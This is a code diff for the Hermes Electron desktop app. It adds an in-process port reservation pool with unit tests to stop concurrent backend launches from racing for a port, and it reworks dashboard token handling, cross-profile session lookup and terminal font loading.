const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
|
||||
const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
|
||||
const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
|
||||
const { readDirForIpc } = require('./fs-read-dir.cjs')
|
||||
@@ -93,6 +95,7 @@ try {
|
||||
nodePty = require(nodePtyDir)
|
||||
}
|
||||
} catch {
|
||||
console.log(`[terminal] failed to load node-pty from path ${nodePtyDir}`)
|
||||
nodePty = null
|
||||
nodePtyDir = null
|
||||
}
|
||||
@@ -107,6 +110,10 @@ if (USER_DATA_OVERRIDE) {
|
||||
|
||||
const PORT_FLOOR = 9120
|
||||
const PORT_CEILING = 9199
|
||||
// In-process port reservations that close the pickPort() TOCTOU window where
|
||||
// two concurrent backend spawns could be handed the same port. See
|
||||
// port-pool.cjs for the full rationale.
|
||||
const portPool = new PortPool(PORT_FLOOR, PORT_CEILING)
|
||||
const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
|
||||
const IS_PACKAGED = app.isPackaged
|
||||
const IS_MAC = process.platform === 'darwin'
|
||||
@@ -2452,10 +2459,11 @@ function isPortAvailable(port) {
|
||||
}
|
||||
|
||||
async function pickPort() {
|
||||
for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
|
||||
if (await isPortAvailable(port)) return port
|
||||
const port = await portPool.reserve(isPortAvailable)
|
||||
if (port === null) {
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
}
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
return port
|
||||
}
|
||||
|
||||
function fetchJson(url, token, options = {}) {
|
||||
@@ -4539,9 +4547,20 @@ async function spawnPoolBackend(profile, entry) {
|
||||
// --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
|
||||
// step 3 in hermes_cli/main.py), so the child re-homes to this profile.
|
||||
const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
const hermesCwd = resolveHermesCwd()
|
||||
const webDist = resolveWebDist()
|
||||
let backend
|
||||
let hermesCwd
|
||||
let webDist
|
||||
try {
|
||||
backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
hermesCwd = resolveHermesCwd()
|
||||
webDist = resolveWebDist()
|
||||
} catch (error) {
|
||||
// These run before the child exists / its exit handler is attached, so a
|
||||
// throw here would otherwise leak the reservation and slowly exhaust the
|
||||
// 9120-9199 range across switch cycles in one app session.
|
||||
portPool.release(port)
|
||||
throw error
|
||||
}
|
||||
|
||||
rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
|
||||
|
||||
@@ -4579,11 +4598,13 @@ async function spawnPoolBackend(profile, entry) {
|
||||
child.once('error', error => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" failed to start: ${error.message}`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
rejectStart?.(error)
|
||||
})
|
||||
child.once('exit', (code, signal) => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" exited (${signal || code})`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
if (!ready) {
|
||||
rejectStart?.(
|
||||
new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`)
|
||||
@@ -4594,15 +4615,21 @@ async function spawnPoolBackend(profile, entry) {
|
||||
const baseUrl = `http://127.0.0.1:${port}`
|
||||
await Promise.race([waitForHermes(baseUrl, token), startFailed])
|
||||
ready = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
childAlive: () => child.exitCode === null && !child.killed,
|
||||
label: `Hermes backend for profile "${profile}"`,
|
||||
rememberLog
|
||||
})
|
||||
entry.token = authToken
|
||||
|
||||
return {
|
||||
baseUrl,
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
token: authToken,
|
||||
profile,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4612,6 +4639,7 @@ function stopPoolBackend(profile) {
|
||||
const entry = backendPool.get(profile)
|
||||
if (!entry) return
|
||||
backendPool.delete(profile)
|
||||
if (entry.port) portPool.release(entry.port)
|
||||
if (entry.process && !entry.process.killed) {
|
||||
try {
|
||||
entry.process.kill('SIGTERM')
|
||||
@@ -4697,6 +4725,11 @@ async function startHermes() {
|
||||
}
|
||||
if (connectionPromise) return connectionPromise
|
||||
|
||||
// Hoisted so the outer .catch can release a port reserved by pickPort() when
|
||||
// a throw (e.g. ensureRuntime failing) happens before the child's exit
|
||||
// handler is attached. Stays null on the remote path (no port picked).
|
||||
let reservedPort = null
|
||||
|
||||
connectionPromise = (async () => {
|
||||
await advanceBootProgress('backend.resolve', 'Resolving Hermes backend', 8)
|
||||
// Resolve for the desktop's primary profile so a per-profile remote
|
||||
@@ -4726,6 +4759,7 @@ async function startHermes() {
|
||||
|
||||
await advanceBootProgress('backend.port', 'Finding an open local port', 16)
|
||||
const port = await pickPort()
|
||||
reservedPort = port
|
||||
const token = crypto.randomBytes(32).toString('base64url')
|
||||
const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
// Pin the desktop's chosen profile via the global --profile flag. This is
|
||||
@@ -4790,6 +4824,7 @@ async function startHermes() {
|
||||
)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code: null, signal: null, error: error.message })
|
||||
rejectBackendStart?.(error)
|
||||
})
|
||||
@@ -4797,6 +4832,7 @@ async function startHermes() {
|
||||
rememberLog(`Hermes backend exited (${signal || code})`)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code, signal })
|
||||
if (!backendReady) {
|
||||
const message = `Hermes backend exited before it became ready (${signal || code}).`
|
||||
@@ -4821,6 +4857,11 @@ async function startHermes() {
|
||||
await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
|
||||
await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
|
||||
backendReady = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
// The exit/error handlers null hermesProcess when the child dies.
|
||||
childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
|
||||
rememberLog
|
||||
})
|
||||
updateBootProgress({
|
||||
phase: 'backend.ready',
|
||||
message: 'Hermes backend is ready. Finalizing desktop startup',
|
||||
@@ -4834,8 +4875,8 @@ async function startHermes() {
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
token: authToken,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4851,6 +4892,7 @@ async function startHermes() {
|
||||
{ allowDecrease: true }
|
||||
)
|
||||
connectionPromise = null
|
||||
portPool.release(reservedPort)
|
||||
throw error
|
||||
})
|
||||
|
||||
@@ -5125,8 +5167,8 @@ ipcMain.handle('hermes:bootstrap:reset', async () => {
|
||||
// reset connection state so the next startHermes() call restarts the
|
||||
// full backend flow (including a fresh runBootstrap pass).
|
||||
rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
|
||||
await teardownPrimaryBackendAndWait()
|
||||
bootstrapFailure = null
|
||||
connectionPromise = null
|
||||
bootstrapState = {
|
||||
active: false,
|
||||
manifest: null,
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
'use strict'
|
||||
|
||||
/**
|
||||
* In-process port reservation pool for the desktop backend launcher.
|
||||
*
|
||||
* pickPort() probes a localhost port with a throwaway server and closes it
|
||||
* before the real bind happens in a separate Python child. Between that probe
|
||||
* and the child's bind there is a TOCTOU window: a second concurrent spawn
|
||||
* (the primary backend racing a pool backend) can be handed the SAME port, and
|
||||
* one then dies with EADDRINUSE ("address already in use" -> "Object has been
|
||||
* destroyed" boot loop). Reserving the chosen port in THIS process until the
|
||||
* child exits closes that window.
|
||||
*
|
||||
* The OS bind remains the source of truth; this only deconflicts racers inside
|
||||
* this process — it can't stop a foreign squatter, which the probe + the
|
||||
* EADDRINUSE self-heal still cover.
|
||||
*
|
||||
* The pool is dependency-injected (the availability probe is passed in) and
|
||||
* free of Electron/Node socket I/O, so it is unit-tested without real sockets
|
||||
* (see port-pool.test.cjs).
|
||||
*/
|
||||
class PortPool {
|
||||
/**
|
||||
* @param {number} floor inclusive lowest port to hand out
|
||||
* @param {number} ceiling inclusive highest port to hand out
|
||||
*/
|
||||
constructor(floor, ceiling) {
|
||||
this.floor = floor
|
||||
this.ceiling = ceiling
|
||||
this._reserved = new Set()
|
||||
}
|
||||
|
||||
/** @returns {boolean} whether `port` is currently reserved in-process. */
|
||||
has(port) {
|
||||
return this._reserved.has(port)
|
||||
}
|
||||
|
||||
/** Release a previously reserved port. No-op if it was not reserved. */
|
||||
release(port) {
|
||||
this._reserved.delete(port)
|
||||
}
|
||||
|
||||
/** Drop all reservations. */
|
||||
clear() {
|
||||
this._reserved.clear()
|
||||
}
|
||||
|
||||
/** @returns {number} count of currently reserved ports. */
|
||||
get size() {
|
||||
return this._reserved.size
|
||||
}
|
||||
|
||||
/**
|
||||
* Reserve and return the lowest port in [floor, ceiling] that is neither
|
||||
* already reserved in-process nor rejected by `isAvailable(port)`, or null
|
||||
* if every port is taken. `isAvailable` may be sync (boolean) or async
|
||||
* (Promise<boolean>); it is awaited either way.
|
||||
*
|
||||
* @param {(port: number) => boolean | Promise<boolean>} isAvailable
|
||||
* @returns {Promise<number|null>}
|
||||
*/
|
||||
async reserve(isAvailable) {
|
||||
for (let port = this.floor; port <= this.ceiling; port += 1) {
|
||||
if (this._reserved.has(port)) continue
|
||||
if (!(await isAvailable(port))) continue
|
||||
this._reserved.add(port)
|
||||
return port
|
||||
}
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { PortPool }
|
||||
@@ -0,0 +1,77 @@
|
||||
/**
|
||||
* Tests for electron/port-pool.cjs.
|
||||
*
|
||||
* Run with: node --test electron/port-pool.test.cjs
|
||||
*
|
||||
* PortPool is the in-process reservation that closes the pickPort() TOCTOU
|
||||
* window. These cover selection order, skipping reserved/unavailable ports,
|
||||
* release/reuse, exhaustion, and async probes — without real sockets.
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
|
||||
const allFree = () => true
|
||||
|
||||
test('reserve returns the lowest free port and reserves it', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const port = await pool.reserve(allFree)
|
||||
assert.equal(port, 9120)
|
||||
assert.ok(pool.has(9120))
|
||||
assert.equal(pool.size, 1)
|
||||
})
|
||||
|
||||
test('reserve skips ports already reserved in-process', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const first = await pool.reserve(allFree)
|
||||
const second = await pool.reserve(allFree)
|
||||
assert.equal(first, 9120)
|
||||
assert.equal(second, 9121)
|
||||
})
|
||||
|
||||
test('reserve skips ports the probe rejects', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120, 9121])
|
||||
const port = await pool.reserve(p => !busy.has(p))
|
||||
assert.equal(port, 9122)
|
||||
})
|
||||
|
||||
test('reserve returns null when every port is taken', async () => {
|
||||
const pool = new PortPool(9120, 9121)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(await pool.reserve(allFree), null)
|
||||
})
|
||||
|
||||
test('release frees a reserved port for reuse', async () => {
|
||||
const pool = new PortPool(9120, 9120)
|
||||
assert.equal(await pool.reserve(allFree), 9120)
|
||||
assert.equal(await pool.reserve(allFree), null) // exhausted
|
||||
pool.release(9120)
|
||||
assert.ok(!pool.has(9120))
|
||||
assert.equal(await pool.reserve(allFree), 9120) // reusable
|
||||
})
|
||||
|
||||
test('release is a no-op for an unreserved port', () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
pool.release(9120)
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
|
||||
test('reserve awaits an async probe', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120])
|
||||
const port = await pool.reserve(p => Promise.resolve(!busy.has(p)))
|
||||
assert.equal(port, 9121)
|
||||
})
|
||||
|
||||
test('clear drops all reservations', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(pool.size, 2)
|
||||
pool.clear()
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
@@ -8,7 +8,7 @@ const path = require('node:path')
|
||||
const ELECTRON_DIR = __dirname
|
||||
|
||||
function readElectronFile(name) {
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8')
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
|
||||
}
|
||||
|
||||
function requireHiddenChildOptions(source, needle) {
|
||||
|
||||
@@ -18,7 +18,8 @@
|
||||
"profile:main": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron --inspect=9229 .",
|
||||
"profile:main:cpu": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 NODE_OPTIONS=--cpu-prof HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron .",
|
||||
"start": "npm run build && electron .",
|
||||
"build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && node scripts/assert-dist-built.cjs",
|
||||
"build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && npm run postbuild",
|
||||
"postbuild": "node scripts/assert-dist-built.cjs",
|
||||
"builder": "cross-env NODE_OPTIONS=--max-old-space-size=16384 electron-builder",
|
||||
"pack": "npm run build && npm run builder -- --dir",
|
||||
"dist": "npm run build && npm run builder",
|
||||
@@ -35,7 +36,7 @@
|
||||
"test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
|
||||
"test:desktop:existing": "node scripts/test-desktop.mjs existing",
|
||||
"test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/port-pool.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"typecheck": "tsc -p . --noEmit",
|
||||
"lint": "eslint src/ electron/",
|
||||
"lint:fix": "eslint src/ electron/ --fix",
|
||||
|
||||
@@ -18,7 +18,7 @@ import {
|
||||
} from '@/components/ui/pagination'
|
||||
import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { getSessionMessages, listSessions } from '@/hermes'
|
||||
import { getSessionMessages, listAllProfileSessions } from '@/hermes'
|
||||
import { type Translations, useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
|
||||
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
|
||||
setRefreshing(true)
|
||||
|
||||
try {
|
||||
const sessions = (await listSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
|
||||
const sessions = (await listAllProfileSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
|
||||
const nextArtifacts: ArtifactRecord[] = []
|
||||
|
||||
results.forEach((result, index) => {
|
||||
|
||||
@@ -287,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
|
||||
|
||||
function MarkdownPreview({ text }: { text: string }) {
|
||||
return (
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground">
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
|
||||
<Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
|
||||
{text}
|
||||
</Streamdown>
|
||||
@@ -383,7 +383,10 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
<div className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!">
|
||||
<div
|
||||
className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!"
|
||||
data-selectable-text="true"
|
||||
>
|
||||
{selection && (
|
||||
<div
|
||||
aria-hidden
|
||||
|
||||
@@ -88,7 +88,7 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
|
||||
label: r.export,
|
||||
onSelect: () => {
|
||||
triggerHaptic('selection')
|
||||
void exportSession(sessionId, { title })
|
||||
void exportSession(sessionId, { profile, title })
|
||||
}
|
||||
},
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@ import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/ap
|
||||
import { setTerminalTakeover } from '@/app/right-sidebar/store'
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { KbdGroup } from '@/components/ui/kbd'
|
||||
import { getHermesConfigRecord, listSessions } from '@/hermes'
|
||||
import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import {
|
||||
@@ -119,7 +119,7 @@ const paletteFilter = (value: string, search: string, keywords?: string[]): numb
|
||||
return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
|
||||
}
|
||||
|
||||
type SessionRow = Awaited<ReturnType<typeof listSessions>>['sessions'][number]
|
||||
type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
|
||||
|
||||
const toSessionEntry = (session: SessionRow): SessionEntry => ({
|
||||
id: session.id,
|
||||
@@ -218,13 +218,13 @@ export function CommandPalette() {
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
queryKey: ['command-palette', 'sessions'],
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
const archivedQuery = useQuery({
|
||||
queryKey: ['command-palette', 'archived'],
|
||||
queryFn: () => listSessions(200, 0, 'only'),
|
||||
queryFn: () => listAllProfileSessions(200, 0, 'only'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
|
||||
@@ -547,7 +547,9 @@ export function DesktopController() {
|
||||
return
|
||||
}
|
||||
|
||||
const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
|
||||
const storedProfile = $sessions
|
||||
.get()
|
||||
.find(session => session.id === storedSessionId || session._lineage_root_id === storedSessionId)?.profile
|
||||
|
||||
for (let index = 0; index < Math.max(1, attempts); index += 1) {
|
||||
try {
|
||||
|
||||
@@ -315,8 +315,11 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
allowTransparency: true,
|
||||
convertEol: true,
|
||||
cursorBlink: true,
|
||||
fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
|
||||
fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
|
||||
fontSize: 11,
|
||||
fontWeight: '400',
|
||||
fontWeightBold: '700',
|
||||
letterSpacing: 0,
|
||||
lineHeight: 1.12,
|
||||
// Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
|
||||
// can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
|
||||
@@ -598,13 +601,13 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
startSession()
|
||||
}
|
||||
|
||||
const fonts = typeof document !== 'undefined' ? document.fonts : undefined
|
||||
// fonts.ready settles only already-requested faces; bold/italic aren't asked
|
||||
// for until styled output paints (past atlas init), so warm them up front.
|
||||
const warm = document.fonts?.load
|
||||
? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
|
||||
: Promise.resolve()
|
||||
|
||||
if (fonts?.ready) {
|
||||
void fonts.ready.then(mount, mount)
|
||||
} else {
|
||||
mount()
|
||||
}
|
||||
void warm.then(mount, mount)
|
||||
|
||||
return () => {
|
||||
disposed = true
|
||||
|
||||
@@ -933,6 +933,8 @@ export function useMessageStream({
|
||||
// raise it and wait — the sidebar flags "needs input" and the inline bar
|
||||
// surfaces once the user focuses that chat.
|
||||
setApprovalRequest({
|
||||
// false only when a tirith warning forbids it; backend omits the field otherwise.
|
||||
allowPermanent: payload?.allow_permanent !== false,
|
||||
command: typeof payload?.command === 'string' ? payload.command : '',
|
||||
description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
|
||||
sessionId: sessionId ?? null
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { MutableRefObject } from 'react'
|
||||
import { useCallback, useRef } from 'react'
|
||||
import type { NavigateFunction } from 'react-router-dom'
|
||||
|
||||
import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, getSessionMessages, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
|
||||
import { normalizePersonalityValue } from '@/lib/chat-runtime'
|
||||
@@ -209,6 +209,46 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
|
||||
setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
|
||||
}
|
||||
|
||||
function sessionMatchesStoredId(session: SessionInfo, storedSessionId: string): boolean {
|
||||
return session.id === storedSessionId || session._lineage_root_id === storedSessionId
|
||||
}
|
||||
|
||||
function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
|
||||
const lineage = session._lineage_root_id ?? session.id
|
||||
|
||||
setSessions(prev => [
|
||||
session,
|
||||
...prev.filter(existing => {
|
||||
if (sessionMatchesStoredId(existing, storedSessionId)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return (existing._lineage_root_id ?? existing.id) !== lineage
|
||||
})
|
||||
])
|
||||
}
|
||||
|
||||
async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
|
||||
const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (cached) {
|
||||
return cached
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await listAllProfileSessions(500, 0, 'include', 'recent', 'all')
|
||||
const resolved = result.sessions.find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (resolved) {
|
||||
upsertResolvedSession(resolved, storedSessionId)
|
||||
}
|
||||
|
||||
return resolved
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
|
||||
type SessionRuntimeStatePatch = Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
@@ -480,8 +520,13 @@ export function useSessionActions({
|
||||
|
||||
// Swap the single live gateway to this session's profile before any
|
||||
// gateway call (no-op when it's already on that profile / single-profile).
|
||||
const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const storedForProfile = await resolveStoredSession(storedSessionId)
|
||||
const sessionProfile = storedForProfile?.profile
|
||||
|
||||
if (resumeRequestRef.current !== requestId) {
|
||||
return
|
||||
}
|
||||
|
||||
await ensureGatewayProfile(sessionProfile)
|
||||
|
||||
const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
|
||||
@@ -549,7 +594,7 @@ export function useSessionActions({
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
setSessionStartedAt(Date.now())
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
applyStoredSessionPreviewRuntimeInfo(stored)
|
||||
|
||||
if (stored) {
|
||||
@@ -799,7 +844,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const removed = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const closingRuntimeId = wasSelected ? activeSessionId : null
|
||||
const previousMessages = $messages.get()
|
||||
@@ -808,7 +853,7 @@ export function useSessionActions({
|
||||
// live tip after compression. Drop both so the pin can't linger.
|
||||
const removedPinId = removed ? sessionPinId(removed) : storedSessionId
|
||||
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
|
||||
// doesn't keep claiming the removed row is still on the server.
|
||||
setSessionsTotal(prev => Math.max(0, prev - 1))
|
||||
@@ -843,7 +888,7 @@ export function useSessionActions({
|
||||
setFreshDraftReady(false)
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (stored) {
|
||||
setCurrentUsage(current => ({
|
||||
@@ -882,7 +927,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const archived = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const previousPinned = $pinnedSessionIds.get()
|
||||
// Pins are keyed on the durable lineage-root id; the stored id may be the
|
||||
@@ -890,7 +935,7 @@ export function useSessionActions({
|
||||
const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
|
||||
|
||||
// Soft-hide: drop from the sidebar immediately, keep the data.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Archived sessions are hidden by the listSessions(min_messages=1) query
|
||||
// on the next refresh, so they count as "removed" for the load-more
|
||||
// footer math.
|
||||
@@ -907,12 +952,12 @@ export function useSessionActions({
|
||||
// in flight and briefly reinsert the still-unarchived backend row. Win
|
||||
// that race after the mutation succeeds so right-click → Archive does
|
||||
// not appear to do nothing until the next full refresh.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
$pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
|
||||
notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
|
||||
} catch (err) {
|
||||
if (archived) {
|
||||
setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
|
||||
setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
|
||||
setSessionsTotal(prev => prev + 1)
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
|
||||
import { useI18n } from '@/i18n'
|
||||
import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { startManualProviderOAuth } from '@/store/onboarding'
|
||||
import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
|
||||
|
||||
import { CONTROL_TEXT } from './constants'
|
||||
import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
|
||||
